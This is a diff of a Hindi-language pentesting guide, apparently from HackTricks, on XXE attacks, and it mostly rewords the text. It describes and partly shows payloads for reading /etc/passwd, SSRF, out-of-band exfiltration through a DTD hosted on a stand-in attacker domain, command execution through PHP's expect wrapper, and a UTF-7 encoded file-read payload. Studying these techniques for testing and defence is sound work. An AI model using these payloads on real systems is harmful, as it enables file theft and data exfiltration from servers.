diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 5d33e0f22..b2d8c5aae 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,27 +1,22 @@ # XXE - XEE - XML External Entity -{{#include /banners/hacktricks-training.md}} - -- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) -- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) - {{#include ../banners/hacktricks-training.md}} ## XML Basics -XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक रूप से नामित टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद। +XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक नाम वाले टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद। -- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा के प्रतिनिधित्व की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `<` और `>` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके। +- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा का प्रतिनिधित्व करने की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `<` और `>` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके। - **XML तत्वों की परिभाषा**: XML तत्व प्रकारों की परिभाषा की अनुमति देता है, यह बताते हुए कि तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सा सामग्री हो सकती है, जो किसी भी प्रकार की सामग्री से लेकर विशिष्ट बाल तत्वों तक हो सकती है। - **डॉक्यूमेंट टाइप परिभाषा (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए। - **कस्टम और बाहरी Entities**: XML DTD के भीतर लचीले डेटा प्रतिनिधित्व के लिए कस्टम entities बनाने का समर्थन करता है। बाहरी entities, जिन्हें एक URL के साथ परिभाषित किया गया है, सुरक्षा चिंताओं को उठाती हैं, विशेष रूप से XML External Entity (XXE) हमलों के संदर्भ में, जो XML पार्सर्स द्वारा बाहरी डेटा स्रोतों को संभालने के तरीके का लाभ उठाते हैं: ` ]>` -- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पार्सर सुरक्षा उपायों के कारण पारंपरिक तरीके विफल हो जाते हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके। +- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पारंपरिक विधियाँ पार्सर सुरक्षा उपायों के कारण विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके। - ` ]>` - ` ]>` ## Main attacks -[**इनमें से अधिकांश हमलों का परीक्षण शानदार Portswiggers XEE प्रयोगशालाओं का उपयोग करके किया गया: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) +[**इनमें से अधिकांश हमलों का परीक्षण शानदार Portswiggers XEE प्रयोगशालाओं का उपयोग करके किया गया था: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### New Entity test @@ -38,7 +33,7 @@ XML एक मार्कअप भाषा है जिसे डेटा ### फ़ाइल पढ़ें -आइए विभिन्न तरीकों से `/etc/passwd` पढ़ने की कोशिश करें। Windows के लिए आप पढ़ने की कोशिश कर सकते हैं: `C:\windows\system32\drivers\etc\hosts` +आइए `/etc/passwd` को विभिन्न तरीकों से पढ़ने की कोशिश करें। Windows के लिए आप पढ़ने की कोशिश कर सकते हैं: `C:\windows\system32\drivers\etc\hosts` इस पहले मामले में ध्यान दें कि SYSTEM "_**file:///**etc/passwd_" भी काम करेगा। ```xml @@ -70,7 +65,7 @@ XML एक मार्कअप भाषा है जिसे डेटा ### Directory listing -**Java** आधारित अनुप्रयोगों में XXE के माध्यम से **एक निर्देशिका की सामग्री को सूचीबद्ध करना** संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय बस निर्देशिका के लिए पूछना): +**Java** आधारित अनुप्रयोगों में **डायरेक्टरी की सामग्री को सूचीबद्ध करना** XXE के माध्यम से संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय केवल डायरेक्टरी के लिए पूछना): ```xml ]>&xxe; @@ -80,7 +75,7 @@ XML एक मार्कअप भाषा है जिसे डेटा ``` ### SSRF -एक XXE का उपयोग क्लाउड के अंदर SSRF का दुरुपयोग करने के लिए किया जा सकता है। +एक XXE का उपयोग क्लाउड के अंदर एक SSRF का दुरुपयोग करने के लिए किया जा सकता है। ```xml ]> @@ -88,7 +83,7 @@ XML एक मार्कअप भाषा है जिसे डेटा ``` ### Blind SSRF -**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, यदि यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML संस्थाएँ अनुमति नहीं दी गई हैं**, इस मामले में आप **XML पैरामीटर संस्थाओं** का उपयोग करने की कोशिश कर सकते हैं: +**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML entities की अनुमति नहीं है**, इस मामले में आप **XML parameter entities** का उपयोग करने की कोशिश कर सकते हैं: ```xml %xxe; ]> @@ -116,7 +111,7 @@ The steps executed by this DTD include: - एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML पैरामीटर एंटिटी, `%exfiltrate`, घोषित करती है। `%exfiltrate` एंटिटी को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` एंटिटी की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है। 2. **एंटिटीज़ का निष्पादन:** - `%eval` एंटिटी का उपयोग किया जाता है, जो `%exfiltrate` एंटिटी की गतिशील घोषणा के निष्पादन की ओर ले जाता है। -- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जो निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर करता है। +- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जो फ़ाइल की सामग्री के साथ निर्दिष्ट URL पर HTTP अनुरोध को ट्रिगर करता है। हमलावर इस दुर्भावनापूर्ण DTD को अपने नियंत्रण में एक सर्वर पर होस्ट करता है, आमतौर पर एक URL जैसे `http://web-attacker.com/malicious.dtd` पर। @@ -126,18 +121,18 @@ The steps executed by this DTD include: %xxe;]> 3;1 ``` -यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्या करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर भेज देता है। +यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्या करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर निकालने का कारण बनता है। ### त्रुटि आधारित (बाहरी DTD) -**इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करेंगे जो एक त्रुटि संदेश के अंदर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind) +**इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करेंगे जो एक त्रुटि संदेश के भीतर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind) एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके उत्पन्न किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से किया जाता है: -1. एक XML पैरामीटर एंटिटी `file` को परिभाषित किया गया है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है। -2. एक XML पैरामीटर एंटिटी `eval` को परिभाषित किया गया है, जो एक अन्य XML पैरामीटर एंटिटी `error` के लिए एक गतिशील घोषणा को शामिल करता है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है। +1. एक XML पैरामीटर एंटिटी `file` नाम से परिभाषित की जाती है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है। +2. एक XML पैरामीटर एंटिटी `eval` नाम से परिभाषित की जाती है, जो `error` नामक एक अन्य XML पैरामीटर एंटिटी के लिए एक गतिशील घोषणा को शामिल करती है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है। 3. `eval` एंटिटी को बुलाया जाता है, जिससे `error` एंटिटी की गतिशील घोषणा होती है। -4. `error` एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास में परिणत होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है। +4. `error` एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास का परिणाम होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है। दुर्भावनापूर्ण बाहरी DTD को निम्नलिखित XML के साथ बुलाया जा सकता है: ```xml @@ -145,17 +140,17 @@ The steps executed by this DTD include: %xxe;]> 3;1 ``` -जब निष्पादन किया जाता है, तो वेब सर्वर की प्रतिक्रिया में `/etc/passwd` फ़ाइल की सामग्री दिखाने वाला एक त्रुटि संदेश शामिल होना चाहिए। +जब निष्पादन किया जाता है, तो वेब सर्वर की प्रतिक्रिया में `/etc/passwd` फ़ाइल की सामग्री प्रदर्शित करने वाला एक त्रुटि संदेश शामिल होना चाहिए। ![](<../images/image (809).png>) -_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना त्रुटि को मजबूर नहीं कर सकते (आमतौर पर)।**_ +_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना (आमतौर पर) एक त्रुटि को मजबूर नहीं कर सकते।**_ ### **त्रुटि आधारित (सिस्टम DTD)** तो जब **आउट-ऑफ-बैंड इंटरैक्शन अवरुद्ध होते हैं** (बाहरी कनेक्शन उपलब्ध नहीं होते) तो अंधे XXE कमजोरियों के बारे में क्या? -XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जिसे मूल रूप से एक बाहरी DTD में घोषित किया गया था, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी को प्रकट करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है। +XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जिसे मूल रूप से एक बाहरी DTD में घोषित किया गया था, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी को उजागर करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है। एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके `/etc/passwd` फ़ाइल की सामग्री को उजागर करने वाली XML पार्सिंग त्रुटि उत्पन्न कर सकता है: ```xml @@ -174,7 +169,7 @@ The outlined steps are executed by this DTD: - एक XML पैरामीटर एंटिटी `local_dtd` की परिभाषा सर्वर की फाइल सिस्टम पर स्थित बाहरी DTD फ़ाइल को शामिल करती है। - `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे मूल रूप से बाहरी DTD में परिभाषित किया गया था, ताकि [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है। -- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` शामिल है। इस क्रियाओं के अनुक्रम से उस त्रुटि संदेश का उत्सर्जन होता है जिसे हमले के लिए लक्षित किया गया है। +- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` शामिल है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले के लिए लक्षित किया गया है। **वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाले सिस्टम अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD रखते हैं जिसमें `ISOamso` नामक एक एंटिटी होती है। ```xml @@ -200,7 +195,7 @@ The outlined steps are executed by this DTD: %local_dtd; ]> ``` -For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) +अधिक जानकारी के लिए देखें [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) ### सिस्टम के अंदर DTDs खोजना @@ -240,7 +235,7 @@ Testing 0 entities : [] ### Jar: protocol -**jar** प्रोटोकॉल विशेष रूप से **Java अनुप्रयोगों** के भीतर सुलभ है। यह **PKZIP** संग्रह (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइल पहुंच सक्षम करने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है। +**jar** प्रोटोकॉल विशेष रूप से **Java अनुप्रयोगों** के भीतर सुलभ है। यह **PKZIP** संग्रह (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइलों तक पहुँचने की अनुमति देने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है। ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt @@ -254,9 +249,9 @@ PKZIP संग्रह के भीतर एक फ़ाइल तक प 2. HTTP प्रतिक्रिया जिसमें संग्रह होता है, अस्थायी रूप से सिस्टम पर संग्रहीत की जाती है, आमतौर पर `/tmp/...` जैसे स्थान पर। 3. फिर संग्रह को इसके सामग्री तक पहुँचने के लिए निकाला जाता है। 4. संग्रह के भीतर विशिष्ट फ़ाइल, `file.zip`, को पढ़ा जाता है। -5. संचालन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है। +5. ऑपरेशन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है। -इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। इस उद्देश्य के लिए [इस रिपॉजिटरी](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं। +इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना है। इस उद्देश्य के लिए [इस रिपॉजिटरी](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं। ```xml ]> &xxe; @@ -315,9 +310,9 @@ Responder.py -I eth0 -v ### XInclude -जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके। +जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेज़ों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके। -`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस प्रकार के हमले को कैसे तैयार किया जा सकता है: +`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण है कि इस तरह के हमले को कैसे तैयार किया जा सकता है: ```xml productId=&storeId=1 ``` @@ -327,13 +322,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec उपयोगकर्ताओं द्वारा कुछ अनुप्रयोगों में अपलोड की गई फ़ाइलें, जिन्हें फिर सर्वर पर संसाधित किया जाता है, XML या XML-समावेशी फ़ाइल स्वरूपों के प्रबंधन में कमजोरियों का लाभ उठा सकती हैं। सामान्य फ़ाइल स्वरूप जैसे कार्यालय दस्तावेज़ (DOCX) और चित्र (SVG) XML पर आधारित होते हैं। -जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की छवि प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए उपयोग किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है। +जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की छवि प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए शोषित किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है। -ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र प्रणाली फ़ाइलों को पढ़ने का प्रयास करता है: +ऐसे एक शोषण का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है: ```xml ``` -एक और विधि में PHP "expect" wrapper के माध्यम से **कमांड्स को निष्पादित करने** का प्रयास करना शामिल है: +एक और विधि में PHP "expect" wrapper के माध्यम से **आदेशों को निष्पादित करने** का प्रयास करना शामिल है: ```xml @@ -347,15 +342,15 @@ SVG प्रारूप का उपयोग दोनों मामलो ### **PDF - फ़ाइल अपलोड** -**XXE का उपयोग करके PDF फ़ाइल अपलोड करने के लिए कैसे शोषण करें, यह जानने के लिए निम्नलिखित पोस्ट पढ़ें:** +**एक PDF फ़ाइल अपलोड करते समय XXE का लाभ उठाने के लिए पढ़ें:** {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}} -### सामग्री प्रकार: x-www-urlencoded से XML तक +### सामग्री-प्रकार: x-www-urlencoded से XML तक -यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का शोषण करने का प्रयास कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है: +यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का लाभ उठाने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded @@ -373,7 +368,7 @@ Content-Length: 52 ``` ### Content-Type: From JSON to XEE -अनुरोध को बदलने के लिए आप “**Content Type Converter**“ नामक एक Burp Extension का उपयोग कर सकते हैं। [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप यह उदाहरण पा सकते हैं: +अनुरोध को बदलने के लिए आप “**Content Type Converter**“ नामक एक Burp Extension का उपयोग कर सकते हैं। [यहाँ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप यह उदाहरण पा सकते हैं: ```xml Content-Type: application/json;charset=UTF-8 @@ -413,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8 ### UTF-7 -आप यहाँ \[**"Encode Recipe**" of cyberchef] \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) को UTF-7 में परिवर्तित करने के लिए उपयोग कर सकते हैं। +आप यहाँ \[**"Encode Recipe**" of cyberchef]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) का उपयोग करके UTF-7 में परिवर्तित कर सकते हैं। ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -481,7 +476,7 @@ DTD 